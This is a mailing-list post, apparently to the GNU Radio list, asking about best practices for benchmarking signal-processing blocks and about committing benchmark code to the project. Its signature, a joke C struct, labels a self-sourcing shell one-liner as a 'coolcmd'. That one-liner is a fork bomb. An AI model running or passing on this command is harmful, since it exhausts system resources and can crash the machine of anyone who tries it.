How do I best benchmark GNU Radio blocks?

[thomas]

Is there a standard way to benchmark blocks?  In
https://github.com/gnuradio/gnuradio/pull/3552 [1] I threw together a
small benchmark, but am wondering:

1) Are there best practices for writing benchmarks?

2) Benchmark code can be useful for the future, when someone wants to
further optimize (or confirm the same tests on a different
architecture), so is there a way to commit the benchmark with the
code?

[1] There's some further work in
https://github.com/ThomasHabets/gnuradio/commits/volk-moving-second
which seems to make it even faster, if you're curious.

--
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@habets.se" };
  char kernel[]    = { "Linux" };
  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt"; };
  char pgp[] = { "9907 8698 8A24 F52F 1C2E  87F6 39A4 9EEA 460A 0169" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;